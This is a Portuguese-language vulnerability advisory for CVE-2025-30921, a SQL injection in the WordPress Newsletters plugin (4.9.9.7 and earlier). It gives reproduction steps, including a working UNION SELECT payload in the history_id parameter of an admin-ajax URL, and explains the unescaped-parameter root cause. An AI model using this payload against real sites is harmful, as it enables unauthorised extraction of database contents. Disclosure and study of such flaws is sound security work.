CVE-2025-30921

1️⃣ Tipo de componente

Plugin WordPress

2️⃣ Detalhes do componente

Nome do componente Newsletters

Versão vulnerável <= 4.9.9.7

Slug do componente newsletters-lite

Link do componente https://wordpress.org/plugins/newsletters-lite/

3️⃣ OWASP 2017: TOP 10

Classe de vulnerabilidade A3: Injeção

Tipo de vulnerabilidade Injeção de SQL

4️⃣ Pré-requisito

Administrador

5️⃣ Detalhes da vulnerabilidade

👉 Descrição breve

Ao visualizar o gráfico de visão geral das estatísticas no painel do plugin (/wp-admin/admin.php?page=newsletters) do plugin Newsletters versão 4.9.9.7 ou inferior, ocorre uma vulnerabilidade de Injeção de SQL devido à validação de entrada e processamento de escape insuficientes dos parâmetros de URL.

Por meio dessa vulnerabilidade, um atacante com privilégios de administrador pode explorá-la para extrair informações do banco de dados do site alvo.

👉 Como reproduzir (PoC)

1. Prepare um site WordPress com o plugin Newsletters versão 4.9.9.7 ou inferior instalado.

2. Navegue até o menu do painel do plugin Newsletters (/wp-admin/admin.php?page=newsletters).

   

3. Usando as ferramentas de desenvolvedor do navegador, pesquise por action=wpmlwelcomestats&security= na aba 'Elements' e verifique o valor de security. Por exemplo, se o resultado da pesquisa aparecer como mostrado abaixo, anote 22b1ac0de6.

   root@kitploit:~

   // ...
   
   jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
   
   // ...
   

   

4. Insira o valor de security anotado na seção <VALOR DE SEGURANÇA> do caminho de URL abaixo e envie uma solicitação para essa URL

   root@kitploit:~

   http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
   

👉 Informações adicionais (opcional)

[Causa raiz da vulnerabilidade]

Ao solicitar a URL onde ocorre a vulnerabilidade de Injeção de SQL no PoC acima, a função ajax_welcomestats dentro do arquivo /wp-content/plugins/newsletters-lite/wp-mailinglist-plugin.php é chamada.

Nesse momento, o parâmetro de solicitação history_id é diretamente referenciado como uma cláusula de condição na string da consulta SQL e inicializado como a variável $history_condition. Essa variável é então passada para a consulta ao banco de dados sem qualquer processamento de escape.

Portanto, como não há validação ou processamento de escape para os valores inseridos no parâmetro de URL history_id, ocorre uma vulnerabilidade de Injeção de SQL. (Observe que os parâmetros de URL from e to também estão vulneráveis a ataques de Injeção de SQL devido à validação de entrada e processamento de escape insuficientes.)

6️⃣ Demonstração do exploit

7️⃣ Referências

• https://nvd.nist.gov/vuln/detail/CVE-2025-30921